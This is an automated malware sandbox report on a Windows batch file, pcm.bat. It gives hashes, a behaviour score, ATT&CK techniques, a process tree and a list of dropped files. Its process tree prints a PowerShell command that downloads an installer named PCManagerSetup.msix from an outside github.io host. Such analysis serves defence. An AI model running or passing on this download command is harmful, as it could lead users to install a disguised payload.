4b9e4bbd675a45f1a99d54bff55576ba3c6d79ab76ea30e143d89fc1543e8580

Analysis

max time kernel
93s
max time network
138s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
20-11-2024 06:22

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

Files/Apps/pcm.bat
Size

474B
MD5

bd94097bc383679f0b5e46c9e1a599ac
SHA1

d362cf3a09e38cdb2f542ae5e3093475dae49b76
SHA256

2dc448b242e53ae269bc700c03276ef2e523b01a0b91b6690ed3074b8133e376
SHA512

95aa276c74491a00334ed5a33c808f19c200883a9f4caac559728a86334bc01865eacde01a302d587dfc20096c3667f9ccd00c618fbb2e04380460ca985cd3c0

Score

8^/10

execution

Malware Config

Signatures

Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

6 5044 powershell.exe
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Powershell Invoke Web Request.
execution

PowerShell
T1059.001

Processes:

powershell.exe

pid process

5044 powershell.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

flow	pid	process
6	5044	powershell.exe

pid	process
5044	powershell.exe

Modifies registry class 2 IoCs

Processes:

cmd.exeOpenWith.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000_Classes\Local Settings	cmd.exe
Key created	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000_Classes\Local Settings	OpenWith.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

5044 powershell.exe
5044 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 5044 powershell.exe
Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

OpenWith.exe

pid process

1532 OpenWith.exe

pid	process
5044	powershell.exe
5044	powershell.exe

description	pid	process
Token: SeDebugPrivilege	5044	powershell.exe

pid	process
1532	OpenWith.exe

Suspicious use of WriteProcessMemory 12 IoCs

Processes:

cmd.execmd.exe

description	pid	process	target process
PID 4164 wrote to memory of 3124	4164	cmd.exe	cmd.exe
PID 4164 wrote to memory of 3124	4164	cmd.exe	cmd.exe
PID 4164 wrote to memory of 4072	4164	cmd.exe	cmd.exe
PID 4164 wrote to memory of 4072	4164	cmd.exe	cmd.exe
PID 4072 wrote to memory of 3396	4072	cmd.exe	chcp.com
PID 4072 wrote to memory of 3396	4072	cmd.exe	chcp.com
PID 4164 wrote to memory of 3656	4164	cmd.exe	chcp.com
PID 4164 wrote to memory of 3656	4164	cmd.exe	chcp.com
PID 4164 wrote to memory of 3292	4164	cmd.exe	chcp.com
PID 4164 wrote to memory of 3292	4164	cmd.exe	chcp.com
PID 4164 wrote to memory of 5044	4164	cmd.exe	powershell.exe
PID 4164 wrote to memory of 5044	4164	cmd.exe	powershell.exe

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Files\Apps\pcm.bat"
1⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:4164
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ver
  2⤵
  PID:3124
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c chcp
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4072
- - C:\Windows\system32\chcp.com
    chcp
    3⤵
    PID:3396
- C:\Windows\system32\chcp.com
  chcp 65001
  2⤵
  PID:3656
- C:\Windows\system32\chcp.com
  chcp 437
  2⤵
  PID:3292
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Invoke-WebRequest -Uri 'https://schooicodes.github.io/file_hosting/PCManager.msix' -OutFile 'C:\Users\Admin\Downloads\PCManagerSetup.msix'"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5044

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:1532

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_xkxlusfn.lzp.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\Downloads\PCManagerSetup.msix

Filesize
24.2MB

MD5
339d5b317d52f2ee53c63f73e552baba

SHA1
446b76487e7ef8b4bc64143ee3f398cdd7ceacf9

SHA256
bf8b0e246274da4f2d88fb79725d54ea74d019eab4b5c46bb421d2cfd51b8d96

SHA512
351ccc4ea75634bb7eadcefc5cc1d9004417294f00beddb6ba126d22c900baa0b89dfe0f7c291d25711e2285ce3f84878b4f09348fd4f13bac1218b438ab2d59

Download Submit
memory/5044-0-0x00007FF878873000-0x00007FF878875000-memory.dmp

Filesize
8KB

Download
memory/5044-1-0x000001E374EB0000-0x000001E374ED2000-memory.dmp

Filesize
136KB

Download
memory/5044-11-0x00007FF878870000-0x00007FF879331000-memory.dmp

Filesize
10.8MB

Download
memory/5044-12-0x00007FF878870000-0x00007FF879331000-memory.dmp

Filesize
10.8MB

Download
memory/5044-13-0x00007FF878873000-0x00007FF878875000-memory.dmp

Filesize
8KB

Download
memory/5044-14-0x00007FF878870000-0x00007FF879331000-memory.dmp

Filesize
10.8MB

Download
memory/5044-15-0x00007FF878870000-0x00007FF879331000-memory.dmp

Filesize
10.8MB

Download
memory/5044-19-0x00007FF878870000-0x00007FF879331000-memory.dmp

Filesize
10.8MB

Download